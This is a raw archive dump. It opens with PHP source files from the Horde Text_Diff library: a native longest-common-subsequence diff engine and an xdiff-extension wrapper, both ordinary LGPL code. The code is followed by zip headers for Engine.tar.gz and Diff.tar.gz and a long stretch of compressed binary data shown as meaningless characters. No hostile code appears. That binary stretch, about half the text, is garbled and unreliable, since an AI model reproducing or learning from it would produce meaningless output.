     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             native.php                                                                                          0000644                 00000037261 15217301663 0006560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               xdiff.php                                                                                           0000644                 00000004233 15217301663 0006363 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     PK     j\CӶS  S    Engine.tar.gznu [              =v8@2:mչ/dwO$} 	6ErHʒ2*\$;tOoxrb	
Bn(ip܍'~ϓGn?~<y˟<~5r(,ͼ}o`mv%)O,#,J_dl(FE,elDS]M8fDsqSԈ̟C6?유YEl>>d!wJcKoٔP[I!OxRnvFp.@)s:O&,k4(O2?f?ɥi٣%ڝ%CNkN,yw`^Ks"3 JaRx_}F0Eyr&B624_~weߏ2Ve,>SRqH(X,%
v/Ag3~2@#1gJS1vPһ^Zuadܻ)>U:f"I3{7zS"|pHE)Cø.8!ճisci}ٗMẻV{g@- 0R34$j>A}2a
X6F;=LOM8V[гjHH@u?jHgKMwKM|iIQA³YʵKHx@
3!7c,\m5B-{^_vpJÆ(L5|oJň5lq5-věeQ@}dj;nv,A2/=~m8瀇M갅ɾ+tկN9a_}4K5Urr^≔'I4ERKgq%YagcՂ'mk{{NTt:ʄhe6͂!~/r@E
;?A1$U7ð/ƚ׽|6]Xl h35KmfX@ku@§5ϭ	*h@'`(䖔P
_`*K3]lFYYocu!S@3F"<Q,cUTL:OcTG#[eƏrn,LV2@3eD())jCjOg5,i,6EXPR :lW@P5w|ҹ@Ӿ;NXf
LګaXyg(F+Jģ]sgǌE^V9mK:&^JP.Hs}1tGkhisSxmө'?±4Pݭc_+ȪAS7J	
wKtR.Wp`{3C_X2tFsߐYUV~,%Ucviwk)&[uS̈́:1R$Us-&Y5t..Pсd%Jǒ`26yDѕ\mP2kVCFXwCtQZ֨Â~5{JX+13_e-&zr=.WΈz]cQQ h>?}:p<
hU\
D7Ig9Tw?mf4P$v5%ݲgp%ɜԳi>8DYŐ|*{_5ʡ$Ӆ4t25-̙^۝hlmeL=ᵵƺlDtK4~;_JZ6+@"ձR`?U֢Ҳ	n*ˡ!ecSsx;8uY󭧉-Ѥ݄&,,J|]Jb-.K۳WJ}nIߞ}?M>}אm~ԈO:A˦v?|sDI 'K{AIlFe~4gYGĐwk82P,߰XDcU]ʋ	} r9:"BB3m}& (8z"x6yWXͷy&ęnMpLgmyNd1k/Q9%!7αQ4z¯[ސF0ßvNAOFN)o-
䴺fj\mQ1ZmݱTJ!eSx)ʚ6.+Ӗ;*sYsaVY;bimn1fϩVR6ц pmƧ`0LN1M0B$Mzǎ83I0q'aUnX4`ZigیbL_u{shFq͚6G$mA]_
dem?*w!M^X]M:$+FV'tgDz΂@˫,9&c+ԱWc&
(kgPϿv/lŊ(FSTO{v7h~R,z<ℏϧ{¨juj~צo?knF`&h(Nw7/C=#ue楪ayq4噪|gȠ 2U<YLLAJE[`3>'[<<Y`HV9:¬&̜6X`=ekYj~ztVC`XvY8;~T0,4ZiW^޳W)^ J*FZ@sh]j:j1Ό^;U$rgJHPp+v)ӻ6߽k=vS||px/=?%-|Y"oA?+=%'3T>gC<AŞ)?`jOzwzpaetb7D_cVMlS)2	L%_}C>p+y'#X#qe'BٌQLp[C"̐0*͒dPr8^@7y^'`o9{P3(fS4'hugp\Be78窯,W\^$!^rEAգ45$t2-BGu>ǖ3:E_Գě+4;tuXlK_	L\_ïw_,oo9E<;]`gLN|tmތ3/G	h̩DCFi= 0,z{yIY@{u=By͓UȠmu@{מ0ͼN,{aw3>`^Ӟ^^ÿy?{v޺DCcr=yWBp{ڍ~ڝˇ8N3.ɠ'?u'4hJMyBP)RUy0뷱w~+xj;vP'^G᪩1"l(ҬzL k;@7]ŵY8=em:{0A2dohp`.{D\	v0tK2h inZ#'eI84Skَ"T˹1k7j@PN\k,_(]:KץZTJRb+e*_{&<'ppZY1*l
e2/FVUEhC*g!Ee%
\ܿ1~>*)̹}<+ʃtEYjB\R3:Ikȯ
]ȇc4ʬ?Р%%qɯ@eI`çn@@(X}ko@ÅPp)~AXK!Z5
x<#@EqI$M%bR%Oc1iBgͬvKE(߯XuWH#
0ᬲS@fi)ؚ5Q-w@RԓSH4Id+s"nȦ,]AGo-!"SozoQ&cpy*Ixf܊0VvQPQy/е]^U-UgGA+K8\+J<[yNR0Uq0_ϕ[isTJ_U^>	by<(60<S{@\hq߹r1wg)|_P˕zQʝ};Ci(,uJ7 uhYܛ#~V]ǫ$3 r'LJ[(u"kݴ-[BB@;6/ĵdҗwvvb;
m4e͟_m[?Ƚor
D^'B 
wciURu"f'ނk	V1t
ITXPz[$WK31 /`Hc :>FgʦSEkD7A!FasAofmOͶ߶}U@]TE!t*"e>AА05?AL8mj$hqA̦++9< nPT-ok4
a\<!LE}![+7k/Η?f7(U G	ԲPxc݌0XoK-'hɔ3cI<  4g.fK!Wiqq)膻oMebU=xCP'oPzdę=ۼ->G_A TiU4%YVܓxb]7xBt:NTv} GNZ¹CxX,7âB
tŻ
!a
͝YDEB;f)z[PUFӣ*#?&N!g\thk_^Pwg9ĩb*CY4I4LM9-@%wJ⠅R-˥~	F-11o,W8c{
߫BZkk(v$"t!+ï6G63i]~cbUyеFh
0YH_LqluWȕ=ўzdD}!6oTs,U5uYE\>[KW6-{eb^]LTS̳.Hxx>	,JI]O
#Iv4WVOk][<N;-flzO*󅬶FbTYYJES6D@P+4Hc9(63 P֒ooXl2`rPփQ ~(eKJJm	UshUsn#} $~ٱ _c,i-?ŶZ\KK5aUW9</y Q֪VM
 6ZѺX~C cMH.W3Qe^`1H?quYɄAtpEIǢCugmv4F~2\fTHd5.C,"DRSHPr)SF
 \HS$O$:dL qz2<N94|S#9<;Hh"SC^b2	O.Nosm y˲E&<Tcq0QcT *kˊ*5X`Z9VTPhoU!bGxF`WkF\ʈtyyTIr0;n/]B[ٌ,{NS8\hC6|v1T'<Jo`pX	TE#],\>n 46B6ic>@r|@a6[{E`ٰ#lƛ'&qLϴ[o?`I=Le)y[qd-PioNwv	rl񰢳E3ڌ:cS12JV4\8.@ V\~3ٯd]Kn@FBXAt<]2p%PoV!RiOo)QfbanhlO)oܛN~B5c ǒvX4мT,MZ&m9_U*#< ~*%6#ȟDQu^q0bghRLMةk)&- ?^yJB߉Q	U
_H _9^°Z߽̚Tܪ0*Y<OA>׹ePWi(4Fty4HNNCsf+Wo=	`&lnyFsʿw$YqD嶠eːd/Ż4k$l<ì6N.>V>h	rM[ ebäj]ڵЊ ^x'b589,^XC'{#/m.Gt!~gJrhAV8Í.Ui6VѺB̡n_vw1fWPB m(Z
;e`6=$0Ip'P
jCntX3=u}	{̀y%qkKVqZEh	xt(h}1ȍz	X<qp"Ȕw!mԘzQ:{/Vn|4KVz4:	
J=	-#R1v+y=y.AueXo?я;TKȼF(1`T29Dd<cG߼9~{<`3RYV֢{Cue*5ٰ6e%_DLas.	ҞΛW}њ9deEʂ=7
9\ʁܼ΅E.\ o]E$e̷BT]dpSLFTm4umarNJ<-iT]_-m,'H0'~k|kOWO~- _YOu`wc{>5Wmp`Tʷf63ТLH<V<-sY56|-uESu)[(ɛ$F1:M_ngA5?rᓇ_xdT>	sn<{"ҵПv'T@o'^Q̌DUn\KCfA9FmЭ)M$EDxfir99Qmױ޶Zt
[F}k$2֦**bn(έ	%mv尿`c5 ZE)nl$OG׷픋dI̀9Hy˙<GD6 FYm7>`r-ۡmV1(|=Flm2|`CTb
t&x@SnCbC؄/7rjj2op
Cp6k/pzeY1@C:2	_0+2^`$I#ؼ|+tk\uxJ98yu^X|n.u_כj680x/|y<__m   PK     j\;    Diff.tar.gznu [              	 T8n%}Ⱦ;Q".kØa"R*{ɒ(KViehQ
"wf>oﾯs}sg;	Cbp$zya|hQ .YiUӁKJJF@BFRBNJ\V\\H= U_^(p7ģ.mo0Gm/+6)FhSHgK~FY4%­>59;fyLIwghqacc*9F[oR:CY$Klnފ~αC?S<KP=\InF,I@^/6iGutB&[FT77ֺŐ0}YM?WLqpݗq;]3)iw^jwv7/kl O5j?[p~KvlC	mzy;0)H@xY*-{o氹,2W7Z׻a@
umIaYswwmx7x:yLa|ŗz/v6K.}C뉌3}ajmWt-%2}lËͩb]wGNmT羦"C&I03Ta276upOyɾU?&C&ܵ-SΣɑwti+jNQFv;E"Rt,׸)v)5˽
8@jr>#e_IDMЄgQ	VcgvIJff~,F\֥pw<՜Nj㖒W)+u%neyo)).@zl+6^gPRL:wHI犓f$nF_>~޲I#)l鿡S&:bWe{
֫۹__]H4;X{.w+hR7RvCPl*Ի?86Q5Gd3ƙ\t>#A	E5<foxʌd{x"Ջ'j{\~7BuV7,]C-\	z>r]籷Y^?k>%4ൃROBzR.'8lyFjF+֬%Ur.{:؉[K7m4VwNtuJS}睸{ω62;؜=1&UdıJ0$:cr3+R|܆FF8HASfUʿ*EE鼮&<FN	{=yAy}UIHHMwAnq1qUh=n#?-:jUϵzA3GyÍ뭊d϶;I1nbkݰM}Wx[̕ܓ#stV)7]OwK/Rok1b}fʙ.7w^Ϝ0)T/.}&V5Ua0]f;.&t̏
ur:oQ/9
<N)+DU^Äݑ[v>#fC!ܜ2fJ^$AV
Mn(H*/H{(ё/ڈݟR;Hvlr?jI</EYqU.(A
yw3z&	gB}jd/^ Ih&'3VޒcTӒ]qm䫝S'<j>1smSޓ^bvN(%qzk';+Ƶ[dY=J9d9y/DD~+>%IUlQ.z:NJYu zX2mf?0<a16IVɜbZnIɮkw]_?z<w'kvӄ)0^Մ(n3Q@gHǎ .qgzC)؛	jm=2]L.)hS<+IiXƥb3]>%nZxUxkFٲ&jxL	=	SUo7ʾ<y#d9ScCk&v|Jp!1a=!6g;|G#ߏCB~lgg?"%s㝩ibNm1gW3]};f&g_x]>ސ}_<;37L]=ԁrflx_|.~{_	NV|"xfS;fX7wf3E_Lݙںgv83D췑7w9f)S޶OΌk`(o|pfw'0`eD,tvv ܥxx;f> :Eǁw;|`eƾO3L]tjJp1?7wR҅x&ptTw;>|-\/zv|;NOX;E.Ev:[xoos3nuLD+ݓ{L\7u}R4iS?"{8C%S쥉C5tmzIɛ*2e1WzB?|fǡRGt4"Ӳ1\0`"$͂}vcݣW#16:ԝPOFͣu28qV!}6o?*7ylohz<py	=E6vC	iF-:_$Gx8i^
wZht`Ʉ.GT>鉸WsΏw5mi=%Ƒ:Ѵh岐4-rӣ[lzT|QMUsr:M?]wfcqZќ+3޹G÷	qY&4}2­y݊d0%y憬4mj=2OwA*E>֋w>u(ƛB:Wy)RIY31SDݵ{4W>Ͼlؤ"{B!mx
5j-F9Ix5ݱtOlw:?%V4.۷F:lj h)MX.mt&\~ӣmu%tnG#w cͼI^rN	ZZG8k4A`#Cw%DD`y7~9K<?ˤ%ݞ	RBuov=W:yi:y]}A3^+53PyfwI~'`!'-ɊTyvGSs#oKry̙W&R|#mT8!$?NF<;DL,MdJqCRsQQa6!3wT?cH{H"`}5Aèyγ_Co~z/6Y50&.vھ鞁fLq[츥 ȵ]0N77awIFx7ͪ]\gH$ÅKXw<+Ž"ԎFHL|H3'#[	1{"f܃_sqmEԣR<?"pwqUTmCZNCN/.cm_6P[R+UXzWOv(0M-ؖ=yX=>*%Kj=eSsUw&X6aP\3w]]|Jdm@'G}+JژAM^ sNw
FI]fH9/H)"zCEƹxUx0Rj,G->GnzQNftRJf!Uc`4ܸ_ve0;ԷMȳ+ÌH2`/rnv#D{_tr#*lvH[D$1|T	Y<#X}:>'Iia
[^;-K2yW*e dOU303vg8CUQDe<Cǿ-e3纵X:o{o9 A4 %.A\$\&ӝ:dpk̨|~p}{CλqFyv.HjZ]BU$G7R|"z:߃H	Ӟ
FDDvU)<')d&$xP\r"kB~!4QB^WH6tyzMD_/E+HO+IVxu-Eﲵ:BО$<-adci03ܶ<ݼG-^j+kMv׿4,%nR>pW"b2r;wd};R)aYmIfk';Rj{{;װZ>i4+wdFY|.½vqϦċi6RRVPIUcq&_&ZIxRg./i3*G_}("0'<'PMtP{s\<dλo~hD5cɵ%WN(.FHv$c~{۫OJ>vs"@Z_CRRrVCMDSd%״y%Uuoݎ\8_Ԇϼ	{{D;C'vpwj+`AG</X'y$ȅA똊;<w2֔E`@*b5B;R.vR+7ո}9 $ 5*IB
w?q+ː%hd=֕Xwk~ς^K>Eԣ 	zD5Nbzwrz'k -ג>$ ƘSz!F'SE?|NM10Lf*|&ChfcAԹ/$$uMѵd2nև5s<٨ao	muW")~=OL".iMocڔGW7iV,W@m	{Gm'L<@]`z-/>Rh4eN=P=(n0N$vP)BuU X̓v97ܪ]:#}/VmEVS5Z}_FA:²!g `dc3iRtf
NLeWӹ)tF#ܘ	֭7+o1}{pÖS&^oUqdt!rU#rTƵsJ*jY,D%m`J.bKw9o˓m]z%u_HJvG9O4HM;GVR{>="}f#w.i<71df GC{Jn"~p" Tkg,;dH	qs?=a$~(޲w3~lOX93Fѳl:44f5CW_[,zMMd+1XoZ\u2HX<O.#%A}y-yǣK>Q(yUԿ M=Ktsư?9$}aEMwJxSgɎn23Sѷn͔hI} sOAt9qD6Oԕ]Lnlc0"ZsC{

wjNrzy8yAӲ]u_AJ+ⲃ|;[Oo qq5$[^jˣw}2hh]fؾHm2oT~zSQ{鴴Dzl}*,U{N+&I5nuϢDNSr&Bi-Z51ꎮyO ˥g!_3&/~UqbT;Q&r*Mw@p`u,϶RuaȾnoU 4< RM}pykNE(2ޘ>(㱕 k޶bjɰnMY?Eh;ҹq^E+
\bW@Bw(\>gB었Znu˸9}Ĥ%0blEń>%&ZxQO_8vHTC꽳D3a=ڜJ!:~hBu.j.EV)y;а;qGS<:o0΢qD.mwCެ,u鱧_Gc2c)^@NGW֣&daH*VqSOvE,ҡ*
,6IL=U5MWQJD=.K6_ǒC6d>S{wˇNn\'k\Rx Qm-y9#䧆IJl*ͦZ(u	#N"w[:t}4a!9l&x6ElhOTzݫ2vn-胵av{i"Yz|sD:Ҟ0ѱ4pS>=dr*fw)J.8DL?Ozm"H5I'CKQ׏];t<Cq0*Z]PP=uvҤ,5٢0c<	B9\ܪ19vXMJ+untsOw=L/,dqb?^8]ign/l+!
7nn:UU8,
z!x|Y|A'[ؽrÇȵ0J#ɒQO}>9+Ī%)SI~Z:k4wK*?Iֈ]!OgΠtL@58YgxMGveK3??Y+]~\ʙʧBДz`*zsJ%**%'|)vGznKeu^!ќ-hǧlz'iZ.v'$IvVGyM)/JºQ{:,&|Hl݅76rYvSl<wgc~
<)6W"=!t/j O)%Լ$PsRUrӲ,RZ?Bw*irS=3|LR[!{ѷ69{wkYToh#fa<7oP	}3Lڟql]k#ՌG'9wdmg&i$(][RjaΞc$Me;2?K\H#yb|肋?L<dU0dJ)*%՞hm7};.[{>D-3_5c8c>Sݤ6r[^I
{T&ۣROk ?qtWo/wT~1k".=$Nj\Ydُ]Sd!Ls_)]x{a_6$
)i>k/T 9q>ެ"v3@>>_8$(Ŗ.t&JϏꤎoo
+U7scӠ'XA?B/S۪;zkhCN7/I0)y5J`@PCUB G'6QvYFtZv&{Ɠ*ŒÏ6S%~	1֑~0A\>vI͟?LQ}M _/&G1Gs:ӧցFʻc[N+uںell!\p[.мV)Sw&^p Bykc%2D}e5^ޱMwjKN	}zO2Y)N~"#=$;S.):bC
SN#kN'UrE;\N4v=9Ptoy*ڥT{hZ{D%DFM΍$,Wt
